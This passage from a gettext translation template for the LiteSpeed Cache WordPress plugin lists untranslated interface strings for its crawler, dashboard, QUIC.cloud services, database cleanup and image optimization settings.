#: tpl/crawler/blacklist.tpl.php:54
msgid "Remove from Blocklist"
msgstr ""

#: tpl/crawler/blacklist.tpl.php:69
msgid "API: PHP Constant %s available to disable blocklist."
msgstr ""

#: tpl/crawler/blacklist.tpl.php:79
msgid "API: Filter %s available to disable blocklist."
msgstr ""

#: tpl/crawler/blacklist.tpl.php:87
msgid "Not blocklisted"
msgstr ""

#: tpl/crawler/blacklist.tpl.php:88
#: tpl/crawler/map.tpl.php:103
msgid "Blocklisted due to not cacheable"
msgstr ""

#: tpl/crawler/blacklist.tpl.php:89
#: tpl/crawler/map.tpl.php:64
#: tpl/crawler/map.tpl.php:104
#: tpl/crawler/summary.tpl.php:199
#: tpl/crawler/summary.tpl.php:247
msgid "Blocklisted"
msgstr ""

#: tpl/crawler/entry.tpl.php:14
msgid "Summary"
msgstr ""

#: tpl/crawler/entry.tpl.php:15
msgid "Map"
msgstr ""

#: tpl/crawler/entry.tpl.php:23
msgid "LiteSpeed Cache Crawler"
msgstr ""

#: tpl/crawler/map.tpl.php:29
msgid "Clean Crawler Map"
msgstr ""

#: tpl/crawler/map.tpl.php:32
msgid "Refresh Crawler Map"
msgstr ""

#: tpl/crawler/map.tpl.php:40
msgid "Generated at %s"
msgstr ""

#: tpl/crawler/map.tpl.php:48
msgid "Sitemap List"
msgstr ""

#: tpl/crawler/map.tpl.php:52
msgid "Sitemap Total"
msgstr ""

#: tpl/crawler/map.tpl.php:58
msgid "URL Search"
msgstr ""

#: tpl/crawler/map.tpl.php:62
#: tpl/crawler/map.tpl.php:101
msgid "Cache Hit"
msgstr ""

#: tpl/crawler/map.tpl.php:63
#: tpl/crawler/map.tpl.php:102
msgid "Cache Miss"
msgstr ""

#: tpl/crawler/map.tpl.php:77
#: tpl/dash/dashboard.tpl.php:80
#: tpl/dash/dashboard.tpl.php:799
msgid "Crawler Status"
msgstr ""

#: tpl/crawler/map.tpl.php:89
msgid "Add to Blocklist"
msgstr ""

#: tpl/crawler/settings.tpl.php:17
msgid "Crawler General Settings"
msgstr ""

#: tpl/crawler/settings.tpl.php:31
msgid "This will enable crawler cron."
msgstr ""

#: tpl/crawler/settings.tpl.php:45
msgid "Specify how long in seconds before the crawler should initiate crawling the entire sitemap again."
msgstr ""

#: tpl/crawler/settings.tpl.php:59
msgid "The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here."
msgstr ""

#: tpl/crawler/settings.tpl.php:73
msgid "The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated."
msgstr ""

#: tpl/crawler/settings.tpl.php:79
msgid "Server enforced value: %s"
msgstr ""

#: tpl/crawler/settings.tpl.php:89
msgid "Server allowed max value: %s"
msgstr ""

#: tpl/crawler/settings.tpl.php:109
msgid "To crawl the site as a logged-in user, enter the user ids to be simulated."
msgstr ""

#: tpl/crawler/settings.tpl.php:116
#: tpl/crawler/summary.tpl.php:211
msgid "You must set %s before using this feature."
msgstr ""

#: tpl/crawler/settings.tpl.php:136
msgid "You must set %1$s to %2$s before using this feature."
msgstr ""

#: tpl/crawler/settings.tpl.php:172
msgid "To crawl for a particular cookie, enter the cookie name, and the values you wish to crawl for. Values should be one per line. There will be one crawler created per cookie value, per simulated role."
msgstr ""

#: tpl/crawler/settings.tpl.php:177
msgid "Use %1$s in %2$s to indicate this cookie has not been set."
msgstr ""

#: tpl/crawler/summary.tpl.php:28
msgid "You need to set the %s in Settings first before using the crawler"
msgstr ""

#: tpl/crawler/summary.tpl.php:54
msgid "Crawler Cron"
msgstr ""

#: tpl/crawler/summary.tpl.php:61
msgid "The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider."
msgstr ""

#. translators: %s: Link tags
#: tpl/crawler/summary.tpl.php:66
msgid "See %sIntroduction for Enabling the Crawler%s for detailed information."
msgstr ""

#: tpl/crawler/summary.tpl.php:77
msgid "Current sitemap crawl started at"
msgstr ""

#: tpl/crawler/summary.tpl.php:82
msgid "The next complete sitemap crawl will start at"
msgstr ""

#: tpl/crawler/summary.tpl.php:90
msgid "Last complete run time for all crawlers"
msgstr ""

#: tpl/crawler/summary.tpl.php:91
#: tpl/crawler/summary.tpl.php:98
msgid "%d seconds"
msgstr ""

#: tpl/crawler/summary.tpl.php:97
msgid "Run time for previous crawler"
msgstr ""

#: tpl/crawler/summary.tpl.php:104
#: tpl/dash/dashboard.tpl.php:91
#: tpl/dash/dashboard.tpl.php:810
msgid "Current crawler started at"
msgstr ""

#: tpl/crawler/summary.tpl.php:110
msgid "Current server load"
msgstr ""

#: tpl/crawler/summary.tpl.php:116
#: tpl/dash/dashboard.tpl.php:97
#: tpl/dash/dashboard.tpl.php:816
msgid "Last interval"
msgstr ""

#: tpl/crawler/summary.tpl.php:123
#: tpl/dash/dashboard.tpl.php:103
#: tpl/dash/dashboard.tpl.php:822
msgid "Ended reason"
msgstr ""

#: tpl/crawler/summary.tpl.php:130
msgid "Last crawled"
msgstr ""

#: tpl/crawler/summary.tpl.php:133
msgid "%d item(s)"
msgstr ""

#: tpl/crawler/summary.tpl.php:141
msgid "Reset position"
msgstr ""

#: tpl/crawler/summary.tpl.php:142
msgid "Manually run"
msgstr ""

#: tpl/crawler/summary.tpl.php:151
msgid "Cron Name"
msgstr ""

#: tpl/crawler/summary.tpl.php:152
msgid "Run Frequency"
msgstr ""

#: tpl/crawler/summary.tpl.php:154
msgid "Activate"
msgstr ""

#: tpl/crawler/summary.tpl.php:155
msgid "Running"
msgstr ""

#: tpl/crawler/summary.tpl.php:184
msgid "Waiting"
msgstr ""

#: tpl/crawler/summary.tpl.php:189
msgid "Hit"
msgstr ""

#: tpl/crawler/summary.tpl.php:194
msgid "Miss"
msgstr ""

#: tpl/crawler/summary.tpl.php:230
msgid "Position: "
msgstr ""

#: tpl/crawler/summary.tpl.php:232
msgid "running"
msgstr ""

#: tpl/crawler/summary.tpl.php:244
msgid "Waiting to be Crawled"
msgstr ""

#: tpl/crawler/summary.tpl.php:245
msgid "Already Cached"
msgstr ""

#: tpl/crawler/summary.tpl.php:246
msgid "Successfully Crawled"
msgstr ""

#: tpl/crawler/summary.tpl.php:251
msgid "Run frequency is set by the Interval Between Runs setting."
msgstr ""

#: tpl/crawler/summary.tpl.php:254
msgid "Crawlers cannot run concurrently. If both the cron and a manual run start at similar times, the first to be started will take precedence."
msgstr ""

#. translators: %s: Link tags
#: tpl/crawler/summary.tpl.php:261
msgid "Please see %sHooking WP-Cron Into the System Task Scheduler%s to learn how to create the system cron task."
msgstr ""

#: tpl/crawler/summary.tpl.php:272
msgid "Watch Crawler Status"
msgstr ""

#: tpl/crawler/summary.tpl.php:278
msgid "Show crawler status"
msgstr ""

#: tpl/crawler/summary.tpl.php:288
msgid "Start watching..."
msgstr ""

#: tpl/crawler/summary.tpl.php:293
msgid "No crawler meta file generated yet"
msgstr ""

#: tpl/dash/dashboard.tpl.php:53
#: tpl/dash/dashboard.tpl.php:596
msgid "Cache Status"
msgstr ""

#: tpl/dash/dashboard.tpl.php:54
#: tpl/dash/dashboard.tpl.php:81
#: tpl/dash/dashboard.tpl.php:520
#: tpl/dash/dashboard.tpl.php:597
#: tpl/dash/dashboard.tpl.php:624
#: tpl/dash/dashboard.tpl.php:668
#: tpl/dash/dashboard.tpl.php:712
#: tpl/dash/dashboard.tpl.php:756
#: tpl/dash/dashboard.tpl.php:800
#: tpl/dash/dashboard.tpl.php:847
msgid "More"
msgstr ""

#: tpl/dash/dashboard.tpl.php:58
#: tpl/dash/dashboard.tpl.php:601
msgid "Public Cache"
msgstr ""

#: tpl/dash/dashboard.tpl.php:59
#: tpl/dash/dashboard.tpl.php:602
msgid "Private Cache"
msgstr ""

#: tpl/dash/dashboard.tpl.php:84
#: tpl/dash/dashboard.tpl.php:803
msgid "Crawler(s)"
msgstr ""

#: tpl/dash/dashboard.tpl.php:87
#: tpl/dash/dashboard.tpl.php:806
msgid "Currently active crawler"
msgstr ""

#: tpl/dash/dashboard.tpl.php:111
#: tpl/dash/dashboard.tpl.php:830
msgid "%1$s %2$d item(s)"
msgstr ""

#: tpl/dash/dashboard.tpl.php:112
#: tpl/dash/dashboard.tpl.php:831
msgid "Last crawled:"
msgstr ""

#: tpl/dash/dashboard.tpl.php:128
#: tpl/dash/dashboard.tpl.php:907
msgid "News"
msgstr ""

#: tpl/dash/dashboard.tpl.php:153
msgid "Free monthly quota available. Can also be used anonymously (no email required)."
msgstr ""

#: tpl/dash/dashboard.tpl.php:162
msgid "Do not show this again"
msgstr ""

#: tpl/dash/dashboard.tpl.php:179
msgid "QUIC.cloud Service Usage Statistics"
msgstr ""

#: tpl/dash/dashboard.tpl.php:181
msgid "Refresh Usage"
msgstr ""

#: tpl/dash/dashboard.tpl.php:182
msgid "Sync data from Cloud"
msgstr ""

#: tpl/dash/dashboard.tpl.php:193
msgid "The features below are provided by %s"
msgstr ""

#: tpl/dash/dashboard.tpl.php:205
#: tpl/dash/network_dash.tpl.php:38
msgid "CDN Bandwidth"
msgstr ""

#: tpl/dash/dashboard.tpl.php:206
#: tpl/dash/dashboard.tpl.php:711
#: tpl/dash/network_dash.tpl.php:39
msgid "Low Quality Image Placeholder"
msgstr ""

#: tpl/dash/dashboard.tpl.php:258
#: tpl/dash/network_dash.tpl.php:95
msgid "Fast Queue Usage"
msgstr ""

#: tpl/dash/dashboard.tpl.php:258
#: tpl/dash/network_dash.tpl.php:95
msgid "Usage"
msgstr ""

#: tpl/dash/dashboard.tpl.php:270
#: tpl/dash/network_dash.tpl.php:108
msgid "PAYG Balance"
msgstr ""

#: tpl/dash/dashboard.tpl.php:271
msgid "PAYG used this month: %s. PAYG balance and usage not included in above quota calculation."
msgstr ""

#: tpl/dash/dashboard.tpl.php:273
#: tpl/dash/network_dash.tpl.php:111
msgid "Pay as You Go Usage Statistics"
msgstr ""

#: tpl/dash/dashboard.tpl.php:291
#: tpl/dash/network_dash.tpl.php:118
msgid "Total Usage"
msgstr ""

#: tpl/dash/dashboard.tpl.php:292
#: tpl/dash/network_dash.tpl.php:119
msgid "Total images optimized in this month"
msgstr ""

#: tpl/dash/dashboard.tpl.php:300
msgid "Remaining Daily Quota"
msgstr ""

#: tpl/dash/dashboard.tpl.php:310
msgid "Partner Benefits Provided by"
msgstr ""

#: tpl/dash/dashboard.tpl.php:346
msgid "Enable QUIC.cloud Services"
msgstr ""

#: tpl/dash/dashboard.tpl.php:353
#: tpl/general/online.tpl.php:128
msgid "Go to QUIC.cloud dashboard"
msgstr ""

#: tpl/dash/dashboard.tpl.php:381
#: tpl/img_optm/summary.tpl.php:54
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Current closest Cloud server is %s. Click to redetect."
msgstr ""

#: tpl/dash/dashboard.tpl.php:382
#: tpl/img_optm/summary.tpl.php:54
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Are you sure you want to redetect the closest cloud server for this service?"
msgstr ""

#: tpl/dash/dashboard.tpl.php:384
#: tpl/general/online.tpl.php:31
#: tpl/img_optm/summary.tpl.php:54
#: tpl/img_optm/summary.tpl.php:56
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Redetect"
msgstr ""

#: tpl/dash/dashboard.tpl.php:418
msgid "You must be using one of the following products in order to measure Page Load Time:"
msgstr ""

#: tpl/dash/dashboard.tpl.php:419
msgid "LiteSpeed Web Server"
msgstr ""

#: tpl/dash/dashboard.tpl.php:421
msgid "OpenLiteSpeed Web Server"
msgstr ""

#: tpl/dash/dashboard.tpl.php:423
msgid "LiteSpeed Web ADC"
msgstr ""

#: tpl/dash/dashboard.tpl.php:425
#: tpl/dash/dashboard.tpl.php:843
msgid "QUIC.cloud CDN"
msgstr ""

#: tpl/dash/dashboard.tpl.php:437
#: tpl/dash/dashboard.tpl.php:502
msgid "Requested: %s ago"
msgstr ""

#: tpl/dash/dashboard.tpl.php:445
#: tpl/dash/dashboard.tpl.php:510
msgid "Refresh"
msgstr ""

#: tpl/dash/dashboard.tpl.php:446
msgid "Refresh page load time"
msgstr ""

#: tpl/dash/dashboard.tpl.php:511
msgid "Refresh page score"
msgstr ""

#: tpl/dash/dashboard.tpl.php:519
#: tpl/img_optm/entry.tpl.php:16
msgid "Image Optimization Summary"
msgstr ""

#: tpl/dash/dashboard.tpl.php:536
#: tpl/img_optm/summary.tpl.php:76
#: tpl/img_optm/summary.tpl.php:89
msgid "Send Optimization Request"
msgstr ""

#: tpl/dash/dashboard.tpl.php:542
#: tpl/img_optm/summary.tpl.php:316
msgid "Total Reduction"
msgstr ""

#: tpl/dash/dashboard.tpl.php:545
#: tpl/img_optm/summary.tpl.php:319
msgid "Images Pulled"
msgstr ""

#: tpl/dash/dashboard.tpl.php:568
#: tpl/img_optm/summary.tpl.php:322
msgid "Last Request"
msgstr ""

#: tpl/dash/dashboard.tpl.php:571
msgid "Last Pull"
msgstr ""

#: tpl/dash/dashboard.tpl.php:623
#: tpl/toolbox/purge.tpl.php:73
msgid "Critical CSS"
msgstr ""

#: tpl/dash/dashboard.tpl.php:630
#: tpl/dash/dashboard.tpl.php:674
#: tpl/dash/dashboard.tpl.php:718
#: tpl/dash/dashboard.tpl.php:762
msgid "Last generated: %s"
msgstr ""

#: tpl/dash/dashboard.tpl.php:638
#: tpl/dash/dashboard.tpl.php:682
#: tpl/dash/dashboard.tpl.php:726
#: tpl/dash/dashboard.tpl.php:770
msgid "Time to execute previous request: %s"
msgstr ""

#: tpl/dash/dashboard.tpl.php:645
#: tpl/dash/dashboard.tpl.php:689
#: tpl/dash/dashboard.tpl.php:733
#: tpl/dash/dashboard.tpl.php:777
msgid "Requests in queue"
msgstr ""

#: tpl/dash/dashboard.tpl.php:648
#: tpl/dash/dashboard.tpl.php:692
#: tpl/dash/dashboard.tpl.php:736
#: tpl/dash/dashboard.tpl.php:780
msgid "Force cron"
msgstr ""

#: tpl/dash/dashboard.tpl.php:656
#: tpl/dash/dashboard.tpl.php:700
#: tpl/dash/dashboard.tpl.php:744
#: tpl/dash/dashboard.tpl.php:788
msgid "Last requested: %s"
msgstr ""

#: tpl/dash/dashboard.tpl.php:667
#: tpl/toolbox/purge.tpl.php:82
msgid "Unique CSS"
msgstr ""

#: tpl/dash/dashboard.tpl.php:755
msgid "Viewport Image"
msgstr ""

#: tpl/dash/dashboard.tpl.php:863
msgid "Best available WordPress performance"
msgstr ""

#: tpl/dash/dashboard.tpl.php:868
msgid "Globally fast TTFB, easy setup, and %s!"
msgstr ""

#: tpl/dash/dashboard.tpl.php:869
msgid "more"
msgstr ""

#: tpl/dash/dashboard.tpl.php:886
msgid "Refresh QUIC.cloud status"
msgstr ""

#: tpl/dash/entry.tpl.php:21
msgid "Network Dashboard"
msgstr ""

#: tpl/dash/entry.tpl.php:29
msgid "LiteSpeed Cache Dashboard"
msgstr ""

#: tpl/dash/network_dash.tpl.php:28
msgid "Usage Statistics: %s"
msgstr ""

#: tpl/dash/network_dash.tpl.php:107
msgid "Pay as You Go"
msgstr ""

#: tpl/dash/network_dash.tpl.php:109
msgid "This Month Usage: %s"
msgstr ""

#: tpl/db_optm/entry.tpl.php:17
#: tpl/db_optm/settings.tpl.php:19
msgid "DB Optimization Settings"
msgstr ""

#: tpl/db_optm/entry.tpl.php:24
msgid "LiteSpeed Cache Database Optimization"
msgstr ""

#: tpl/db_optm/manage.tpl.php:17
msgid "Clean All"
msgstr ""

#: tpl/db_optm/manage.tpl.php:21
msgid "Post Revisions"
msgstr ""

#: tpl/db_optm/manage.tpl.php:22
msgid "Clean all post revisions"
msgstr ""

#: tpl/db_optm/manage.tpl.php:25
msgid "Orphaned Post Meta"
msgstr ""

#: tpl/db_optm/manage.tpl.php:26
msgid "Clean all orphaned post meta records"
msgstr ""

#: tpl/db_optm/manage.tpl.php:29
msgid "Auto Drafts"
msgstr ""

#: tpl/db_optm/manage.tpl.php:30
msgid "Clean all auto saved drafts"
msgstr ""

#: tpl/db_optm/manage.tpl.php:33
msgid "Trashed Posts"
msgstr ""

#: tpl/db_optm/manage.tpl.php:34
msgid "Clean all trashed posts and pages"
msgstr ""

#: tpl/db_optm/manage.tpl.php:37
msgid "Spam Comments"
msgstr ""

#: tpl/db_optm/manage.tpl.php:38
msgid "Clean all spam comments"
msgstr ""

#: tpl/db_optm/manage.tpl.php:41
msgid "Trashed Comments"
msgstr ""

#: tpl/db_optm/manage.tpl.php:42
msgid "Clean all trashed comments"
msgstr ""

#: tpl/db_optm/manage.tpl.php:45
msgid "Trackbacks/Pingbacks"
msgstr ""

#: tpl/db_optm/manage.tpl.php:46
msgid "Clean all trackbacks and pingbacks"
msgstr ""

#: tpl/db_optm/manage.tpl.php:49
msgid "Expired Transients"
msgstr ""

#: tpl/db_optm/manage.tpl.php:50
msgid "Clean expired transient options"
msgstr ""

#: tpl/db_optm/manage.tpl.php:53
msgid "All Transients"
msgstr ""

#: tpl/db_optm/manage.tpl.php:54
msgid "Clean all transient options"
msgstr ""

#: tpl/db_optm/manage.tpl.php:57
msgid "Optimize Tables"
msgstr ""

#: tpl/db_optm/manage.tpl.php:58
msgid "Optimize all tables in your database"
msgstr ""

#: tpl/db_optm/manage.tpl.php:66
msgid "Clean revisions older than %1$s day(s), excluding %2$s latest revisions"
msgstr ""

#: tpl/db_optm/manage.tpl.php:90
msgid "Database Optimizer"
msgstr ""

#: tpl/db_optm/manage.tpl.php:116
msgid "Database Table Engine Converter"
msgstr ""

#: tpl/db_optm/manage.tpl.php:124
msgid "Table"
msgstr ""

#: tpl/db_optm/manage.tpl.php:125
msgid "Engine"
msgstr ""

#: tpl/db_optm/manage.tpl.php:126
msgid "Tool"
msgstr ""

#: tpl/db_optm/manage.tpl.php:141
msgid "Convert to InnoDB"
msgstr ""

#: tpl/db_optm/manage.tpl.php:149
msgid "We are good. No table uses MyISAM engine."
msgstr ""

#: tpl/db_optm/manage.tpl.php:171
msgid "Database Summary"
msgstr ""

#: tpl/db_optm/manage.tpl.php:175
msgid "Autoload size"
msgstr ""

#: tpl/db_optm/manage.tpl.php:176
msgid "Autoload entries"
msgstr ""

#: tpl/db_optm/manage.tpl.php:180
msgid "Autoload top list"
msgstr ""

#: tpl/db_optm/manage.tpl.php:185
msgid "Option Name"
msgstr ""

#: tpl/db_optm/manage.tpl.php:186
msgid "Autoload"
msgstr ""

#: tpl/db_optm/manage.tpl.php:187
msgid "Size"
msgstr ""

#: tpl/db_optm/settings.tpl.php:32
msgid "Specify the number of most recent revisions to keep when cleaning revisions."
msgstr ""

#: tpl/db_optm/settings.tpl.php:44
msgid "Day(s)"
msgstr ""

#: tpl/db_optm/settings.tpl.php:46
msgid "Revisions newer than this many days will be kept when cleaning revisions."
msgstr ""

#: tpl/esi_widget_edit.php:52
msgid "Public"
msgstr ""

#: tpl/esi_widget_edit.php:53
msgid "Private"
msgstr ""

#: tpl/esi_widget_edit.php:54
msgid "Disable"
msgstr ""

#: tpl/esi_widget_edit.php:71
msgid "Widget Cache TTL"
msgstr ""

#: tpl/esi_widget_edit.php:81
msgid "Recommended value: 28800 seconds (8 hours)."
msgstr ""

#: tpl/esi_widget_edit.php:82
msgid "A TTL of 0 indicates do not cache."
msgstr ""

#: tpl/general/entry.tpl.php:16
#: tpl/general/online.tpl.php:68
msgid "Online Services"
msgstr ""

#: tpl/general/entry.tpl.php:17
#: tpl/general/entry.tpl.php:23
#: tpl/general/network_settings.tpl.php:19
#: tpl/general/settings.tpl.php:24
msgid "General Settings"
msgstr ""

#: tpl/general/entry.tpl.php:18
#: tpl/page_optm/entry.tpl.php:23
#: tpl/page_optm/entry.tpl.php:24
msgid "Tuning"
msgstr ""

#: tpl/general/entry.tpl.php:31
msgid "LiteSpeed Cache General Settings"
msgstr ""

#: tpl/general/network_settings.tpl.php:31
msgid "Use Primary Site Configuration"
msgstr ""

#: tpl/general/network_settings.tpl.php:35
msgid "Check this option to use the primary site's configuration for all subsites."
msgstr ""

#: tpl/general/network_settings.tpl.php:36
msgid "This will disable the settings page on all subsites."
msgstr ""

#: tpl/general/online.tpl.php:22
msgid "QUIC.cloud Online Services"
msgstr ""

#: tpl/general/online.tpl.php:30
msgid "Current Cloud Nodes in Service"
msgstr ""

#: tpl/general/online.tpl.php:31
msgid "Click to clear all nodes for further redetection."
msgstr ""

#: tpl/general/online.tpl.php:31
msgid "Are you sure you want to clear all cloud nodes?"
msgstr ""

#: tpl/general/online.tpl.php:41
msgid "Service:"
msgstr ""

#: tpl/general/online.tpl.php:43
msgid "Node:"
msgstr ""

#: tpl/general/online.tpl.php:45
msgid "Connected Date:"
msgstr ""

#: tpl/general/online.tpl.php:51
msgid "No cloud services currently in use"
msgstr ""

#: tpl/general/online.tpl.php:59
msgid "QUIC.cloud Integration Disabled"
msgstr ""

#: tpl/general/online.tpl.php:60
msgid "Speed up your WordPress site even further with QUIC.cloud Online Services and CDN."
msgstr ""

#: tpl/general/online.tpl.php:69
msgid "QUIC.cloud's Online Services improve your site in the following ways:"
msgstr ""

#: tpl/general/online.tpl.php:71
msgid "<strong>Image Optimization</strong> gives you smaller image file sizes that transmit faster."
msgstr ""

#: tpl/general/online.tpl.php:72
msgid "<strong>Page Optimization</strong> streamlines page styles and visual elements for faster loading."
msgstr ""

#: tpl/general/online.tpl.php:76
msgid "QUIC.cloud's Image Optimization service does the following:"
msgstr ""

#: tpl/general/online.tpl.php:78
msgid "Processes your uploaded PNG and JPG images to produce smaller versions that don't sacrifice quality."
msgstr ""

#: tpl/general/online.tpl.php:79
msgid "Optionally creates next-generation WebP or AVIF image files."
msgstr ""

#: tpl/general/online.tpl.php:81
msgid "Processing for PNG, JPG, and WebP image formats is free. AVIF is available for a fee."
msgstr ""

#: tpl/general/online.tpl.php:84
msgid "QUIC.cloud's Page Optimization services address CSS bloat, and improve the user experience during page load, which can lead to improved page speed scores."
msgstr ""

#: tpl/general/online.tpl.php:86
msgid "<strong>Critical CSS (CCSS)</strong> loads visible above-the-fold content faster and with full styling."
msgstr ""

#: tpl/general/online.tpl.php:87
msgid "<strong>Unique CSS (UCSS)</strong> removes unused style definitions for a speedier page load overall."
msgstr ""

#: tpl/general/online.tpl.php:88
msgid "<strong>Low Quality Image Placeholder (LQIP)</strong> gives your imagery a more pleasing look as it lazy loads."
msgstr ""

#: tpl/general/online.tpl.php:89
msgid "<strong>Viewport Images (VPI)</strong> provides a well-polished fully-loaded view above the fold."
msgstr ""

#: tpl/general/online.tpl.php:98
msgid "Content Delivery Network"
msgstr ""

#: tpl/general/online.tpl.php:100
msgid "QUIC.cloud CDN:"
msgstr ""

#: tpl/general/online.tpl.php:102
msgid "Caches your entire site, including dynamic content and <strong>ESI blocks</strong>."
msgstr ""

#: tpl/general/online.tpl.php:103
msgid "Delivers global coverage with a growing <strong>network of 80+ PoPs</strong>."
msgstr ""

#: tpl/general/online.tpl.php:104
msgid "Provides <strong>security at the CDN level</strong>, protecting your server from attack."
msgstr ""

#: tpl/general/online.tpl.php:105
msgid "Offers optional <strong>built-in DNS service</strong> to simplify CDN onboarding."
msgstr ""

#: tpl/general/online.tpl.php:114
msgid "In order to use most QUIC.cloud services, you need quota. QUIC.cloud gives you free quota every month, but if you need more, you can purchase it."
msgstr ""

#: tpl/general/online.tpl.php:125
msgid "QUIC.cloud Integration Enabled"
msgstr ""

#: tpl/general/online.tpl.php:126
msgid "Your site is connected and ready to use QUIC.cloud Online Services."
msgstr ""

#: tpl/general/online.tpl.php:136
msgid "CDN - Enabled"
msgstr ""

#: tpl/general/online.tpl.php:138
msgid "CDN - Disabled"
msgstr ""

#: tpl/general/online.tpl.php:143
msgid "QUIC.cloud Integration Enabled with limitations"
msgstr ""

#: tpl/general/online.tpl.php:144
msgid "Your site is connected and using QUIC.cloud Online Services as an <strong>anonymous user</strong>. The CDN function and certain features of optimization services are not available for anonymous users. Link to QUIC.cloud to use the CDN and all available Online Services features."
msgstr ""

#: tpl/general/online.tpl.php:150
msgid "CDN - not available for anonymous users"
msgstr ""

#: tpl/general/online.tpl.php:159
msgid "Are you sure you want to disconnect from QUIC.cloud? This will not remove any data from the QUIC.cloud dashboard."
msgstr ""

#: tpl/general/online.tpl.php:159
msgid "Disconnect from QUIC.cloud"
msgstr ""

#: tpl/general/online.tpl.php:160
msgid "Remove QUIC.cloud integration from this site. Note: QUIC.cloud data will be preserved so you can re-enable services at any time. If you want to fully remove your site from QUIC.cloud, delete the domain through the QUIC.cloud Dashboard first."
msgstr ""

#: tpl/general/settings.tpl.php:48
msgid "This option enables maximum optimization for Guest Mode visitors."
msgstr ""

#: tpl/general/settings.tpl.php:49
msgid "Please read all warnings before enabling this option."
msgstr ""

#: tpl/general/settings.tpl.php:64
msgid "Your %1$s quota on %2$s will still be in use."
msgstr ""

#: tpl/general/settings.tpl.php:72
#: tpl/general/settings.tpl.php:79
#: tpl/general/settings.tpl.php:86
#: tpl/general/settings.tpl.php:103
#: tpl/page_optm/settings_media.tpl.php:253
#: tpl/page_optm/settings_vpi.tpl.php:44
msgid "Notice"
msgstr ""

#: tpl/general/settings.tpl.php:72
#: tpl/page_optm/settings_media.tpl.php:253
#: tpl/page_optm/settings_vpi.tpl.php:44
msgid "%s must be turned ON for this setting to work."
msgstr ""

#: tpl/general/settings.tpl.php:79
msgid "You need to turn %s on to get maximum result."
msgstr ""

#: tpl/general/settings.tpl.php:86
msgid "You need to turn %s on and finish all WebP generation to get maximum result."
msgstr ""

#: tpl/general/settings.tpl.php:101
msgid "Enter this site's IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups."
msgstr ""

#: tpl/general/settings.tpl.php:102
msgid "Your server IP"
msgstr ""

#: tpl/general/settings.tpl.php:102
msgid "Check my public IP from"
msgstr ""

#: tpl/general/settings.tpl.php:103
msgid "the auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server."
msgstr ""

#: tpl/general/settings.tpl.php:104
msgid "Please make sure this IP is the correct one for visiting your site."
msgstr ""

#: tpl/general/settings.tpl.php:119
msgid "Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions."
msgstr ""

#: tpl/general/settings_inc.auto_upgrade.tpl.php:25
msgid "Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual."
msgstr ""

#: tpl/general/settings_inc.guest.tpl.php:26
msgid "Guest Mode provides an always cacheable landing page for an automated guest's first time visit, and then attempts to update cache varies via AJAX."
msgstr ""

#: tpl/general/settings_inc.guest.tpl.php:27
msgid "This option can help to correct the cache vary for certain advanced mobile or tablet visitors."
msgstr ""

#: tpl/general/settings_inc.guest.tpl.php:34
msgid "Guest Mode testing result"
msgstr ""

#: tpl/general/settings_inc.guest.tpl.php:35
msgid "Testing"
msgstr ""

#: tpl/general/settings_inc.guest.tpl.php:42
msgid "Guest Mode passed testing."
msgstr ""

#: tpl/general/settings_inc.guest.tpl.php:45
#: tpl/general/settings_inc.guest.tpl.php:48
msgid "Guest Mode failed to test."
msgstr ""

#: tpl/general/settings_tuning.tpl.php:19
#: tpl/page_optm/settings_tuning.tpl.php:29
msgid "Tuning Settings"
msgstr ""

#: tpl/general/settings_tuning.tpl.php:40
msgid "Listed User Agents will be considered as Guest Mode visitors."
msgstr ""

#: tpl/general/settings_tuning.tpl.php:62
msgid "Listed IPs will be considered as Guest Mode visitors."
msgstr ""

#: tpl/img_optm/entry.tpl.php:17
#: tpl/img_optm/entry.tpl.php:22
#: tpl/img_optm/network_settings.tpl.php:19
#: tpl/img_optm/settings.tpl.php:19
msgid "Image Optimization Settings"
msgstr ""

#: tpl/img_optm/entry.tpl.php:30
msgid "LiteSpeed Cache Image Optimization"
msgstr ""

#: tpl/img_optm/settings.media_webp.tpl.php:25
msgid "Request WebP/AVIF versions of original images when doing optimization."
msgstr ""

#: tpl/img_optm/settings.media_webp.tpl.php:26
msgid "Significantly improve load time by replacing images with their optimized %s versions."
msgstr ""

#: tpl/img_optm/settings.media_webp.tpl.php:31
msgid "%1$s is a %2$s paid feature."
msgstr ""

#: tpl/img_optm/settings.media_webp.tpl.php:34
msgid "When switching formats, please %1$s or %2$s to apply this new choice to previously optimized images."
msgstr ""

#: tpl/img_optm/settings.media_webp.tpl.php:34
#: tpl/img_optm/summary.tpl.php:378
msgid "Destroy All Optimization Data"
msgstr ""

#: tpl/img_optm/settings.media_webp.tpl.php:34
#: tpl/img_optm/summary.tpl.php:368
msgid "Soft Reset Optimization Counter"
msgstr ""

#: tpl/img_optm/settings.tpl.php:34
msgid "Automatically request optimization via cron job."
msgstr ""

#: tpl/img_optm/settings.tpl.php:47
msgid "Optimize images and save backups of the originals in the same folder."
msgstr ""

#: tpl/img_optm/settings.tpl.php:60
msgid "Automatically remove the original image backups after fetching optimized images."
msgstr ""

#: tpl/img_optm/settings.tpl.php:65
#: tpl/img_optm/summary.tpl.php:244
#: tpl/page_optm/settings_media.tpl.php:308
msgid "This is irreversible."
msgstr ""

#: tpl/img_optm/settings.tpl.php:66
#: tpl/img_optm/summary.tpl.php:245
msgid "You will be unable to Revert Optimization once the backups are deleted!"
msgstr ""

#: tpl/img_optm/settings.tpl.php:80
msgid "Optimize images using lossless compression."
msgstr ""

#: tpl/img_optm/settings.tpl.php:81
msgid "This can improve quality but may result in larger images than lossy compression will."
msgstr ""

